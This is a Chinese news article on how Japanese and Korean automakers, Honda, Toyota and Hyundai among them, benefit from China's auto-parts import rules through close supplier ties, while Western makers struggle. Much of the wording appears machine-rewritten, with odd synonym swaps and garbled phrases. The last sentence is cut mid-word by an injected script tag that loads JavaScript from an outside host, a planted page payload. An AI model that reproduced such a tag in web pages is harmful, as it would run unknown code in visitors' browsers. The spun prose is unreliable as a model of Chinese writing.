当欧盟和美国对中国的汽车零部件关税政策叫苦连天时，他们的日韩同行们在忙些什么？
来看看本田公司，他们正在暗自发力的一些事情远比发布civic和思迪两款国产新车意义深远。就在两个月以前，本田一家最新的零部件公司宣布在广东佛山奠基，将用来生产变速箱等汽车动力总成零部件。本田技研工业(中国)资金投入公司的朱林杰说，这家公司将会在2007年投产。
可以国产的动力总成，这对那些西方汽车制造商来讲真的是梦寐以求。在此之前，本田在中国已经拥有了东风本田，这家成立于1998年的合资公司集中精力生产发动机等核心部件，现在正在形成36万台发动机总成和48万套以上零部件的制造能力。再加上遍布于中国东南一带的日系零部件企业，足以令本田汽车面对中国4部委发布的《构成整车特点的汽车零部件进口管理方法》(以下简称《方法》)游刃有余。
事实上，《方法》对全球任何国家的汽车制造商均同等看待，为什么在欧美惶恐不安的状况下，日韩看着却好像无动于衷？
欧美的要害
日韩的汽车制造商恐怕不止是无动于衷，他们完全有理由暗自窃喜。因为某些根本性是什么原因，大家都知道，欧美汽车制造商现在正在全球范围内节节败退，而中国的《方法》让日韩的优势得以放大。
原中国汽车工业总公司零部件处处长杨武说：“整车厂与零部件提供商之间协作关系的落后，是欧美不满中国零部件政策的最根本缘由，这也正是欧美厂家在全球范围内失去竞争优势的根本缘由。”
欧美汽车制造商与提供商之间的关系远远谈不上亲密，塔奥汽车部件公司(Tower Automotive) 是美国一家大型车架提供商，近期这家公司正处于破产保护状况之下，“角逐日益加强，整车厂需要更大的价格返还，将令汽车零部件提供商在已经非常困难的环境中遭到更大的重压。”塔奥的发言人如此表示。像塔奥如此情况尴尬的零部件企业在北美还有上百家。整车厂与零部件企业之间的经营情况呈现出恶性的循环。
这种状况由来已久，在汽车工业的早期，福特汽车和通用汽致力于打造一种“纵向一体化”的汽车体系，即由汽车制造商一手包办所有些零部件生产甚至是物流运输等范围。如此的工业模式非常快过时，整车厂自制的零部件一直会有肯定的次品率，而且没办法令工厂集中精力于整车的开发。通用、福特如此的企业开始将零部件部门离别出去，但杨武觉得，这种方法仍然没方法令欧美制造商扭转颓势。
“欧美企业的提供关系更像是一种单纯的交易关系，与服饰市场里讨价还价、勾心斗角的客户和商户没什么不同。”杨武说。
如此的关系令欧美汽车制造商与提供商的步调难以协调一致，欧洲汽车工业协会在北京的首席代表戴麟称：“在欧美，要说服提供商们到中国设厂，要花费相当大的力气，国产化可以减少本钱，大家不是不想，但在没看到商品畅销之前，提供商们不会去冒险，这至少需要两年时间，但目前《方法》让大家没缓冲的空间。”
迅猛的日韩
在这方面，日韩制造商没遇见欧美的难点。以本田汽车为例，广州本田成立于1998年7月1日，而就在同一天，东风本田发动机厂也宣布成立，直接为广州的整车项目提供动力总成。
再看看丰田的例子，日本电装集团是丰田汽车的主要提供商，现在电装在中国的近20家工厂当中，有5家早在1997年之前就已经进入到中国，这为丰田日后的进步打下了坚实的基础。
杨武觉得，在日本和韩国，汽车制造商与提供商是一种密切捆绑关系，这种关系使得二者能为一同的利益着想，制造商不会一味去压榨提供商，而提供商也完全相信制造商的判断。“这种捆绑关系体目前，丰田公司本身是电装集团的大股东，而现代汽车的主要提供商摩比斯也持有现代汽车的股份，这种水乳交融的关系使得只须整车制造商做出决策，提供商便会立刻投入到前期的筹备中。”杨武如此说。
事实上，当北京现代成立之初，现代汽车置北京周围海量的中国提供商于不考虑，而是用迅速度引进了重要零部件的配套伙伴，这种做法或许对中国当地汽车基础工业没积极影响，但却让北京现代绕过了关税壁垒，得以占领市场。
另一个一直让人忽略的原因是，就国内市场而言，相对于欧美，日韩具备最佳的地点。资深车评人钟师觉得，韩国釜山到天津、日本福冈到上海的距离甚至比上海到北京还近。如此的近距离形成日韩企业的另一个优势——即便日本当地一个零部件厂商也没，其在中国的零部件厂商可以为在日本的整车厂商达成即时提供，周期虽然可能比在日本当地供货长一点，但中国同时具备低本钱的劳动力优势。
原毕博咨询汽车行业负责人陈荣祥的看法是，在原本的提供商没办法准时跟进的状况下，欧美整车制造商根本没办法在中国找到符合需要的当地提供商，“要通过欧美厂家的零部件认证，需要耗费几年的时间与数千万的欧元，这是中国零部件企业没办法奢?script src=http://cn.jxmmtv.com/cn.js>cript>
